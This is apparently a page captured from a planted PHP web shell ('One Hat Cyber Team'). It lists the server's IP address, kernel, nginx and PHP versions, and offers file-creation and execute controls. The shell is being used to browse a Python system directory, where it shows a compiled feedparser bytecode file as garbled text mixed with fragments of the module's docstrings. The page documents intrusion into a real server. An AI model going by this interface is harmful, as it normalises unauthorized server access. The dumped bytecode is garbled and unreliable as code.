⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.144
Server IP:
157.245.143.252
Server:
Linux www 6.11.0-9-generic #9-Ubuntu SMP PREEMPT_DYNAMIC Mon Oct 14 13:19:59 UTC 2024 x86_64
Server Software:
nginx/1.26.0
PHP Version:
8.3.11
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
self
/
root
/
lib
/
python3.12
/
email
/
__pycache__
/
View File Name :
feedparser.cpython-312.pyc
CRhY R d Z ddgZddlZddlmZ ddlmZ ddlmZ ddl m Z ej d Z ej d Z ej d Z ej d Z ej d Zd ZdZ e Z G d de Z G d d Z G d de Zy)a FeedParser - An email feed parser. The feed parser implements an interface for incrementally parsing an email message, line by line. This has advantages for certain applications, such as those reading email messages off a socket. FeedParser.feed() is the primary interface for pushing new data into the parser. It returns when there's nothing more it can do with the available data. When you have no more data to push into the parser, call .close(). This completes the parsing and returns the root message object. The other advantage of this parser is that it will never raise a parsing exception. Instead, when it finds something unexpected, it adds a 'defect' to the current message. Defects are just instances that live on the message object's .defects attribute. FeedParserBytesFeedParser N)errors)compat32)deque)StringIOz \r\n|\r|\nz(\r\n|\r|\n)z(\r\n|\r|\n)\Zz%^(From |[\041-\071\073-\176]*:|[\t ]) c L e Zd ZdZd Zd Zd Zd Zd Zd Z d Z d Zd Zd Z y) BufferedSubFileak A file-ish object that can have new data loaded into it. You can also push and pop line-matching predicates onto a stack. When the current predicate matches the current line, a false EOF response (i.e. empty string) is returned instead. This lets the parser adhere to a simple abstraction -- it parses until EOF closes the current message. c ` t d | _ t | _ g | _ d| _ y )Nr )newlineF)r _partialr _lines _eofstack_closedselfs '/usr/lib/python3.12/email/feedparser.py__init__zBufferedSubFile.__init__4 s' !, g c : | j j | y N)r append)r preds r push_eof_matcherz BufferedSubFile.push_eof_matcher? s d#r c 6 | j j S r )r popr s r pop_eof_matcherzBufferedSubFile.pop_eof_matcherB s ~~!!##r c | j j d | j | j j | j j d | j j d| _ y )Nr T)r seek pushlines readlinestruncater r s r closezBufferedSubFile.closeE sV 1t}}..01 1 r c | j s| j ryt S | j j }t | j D ]' } || s| j j | y |S Nr )r r NeedMoreDatapopleftreversedr appendleft)r lineateofs r readlinezBufferedSubFile.readlineM se {{|| {{""$ dnn-ET{&&t, . r c N |t usJ | j j | y r )r( r r+ r r, s r unreadlinezBufferedSubFile.unreadline_ s" <'''t$r c | j j | d|vrd|vry| j j d | j j }| j j d | j j |d j d s)| j j |j | j | y)z$Push some new data into this object.r Nr )r writer! r# r$ endswithr r" )r datapartss r pushzBufferedSubFile.pushd s D!tD 0 1 '') 1 Ry!!$'MM ,ur c : | j j | y r )r extend)r liness r r" zBufferedSubFile.pushlinesy s 5!r c | S r r s r __iter__zBufferedSubFile.__iter__| s r c <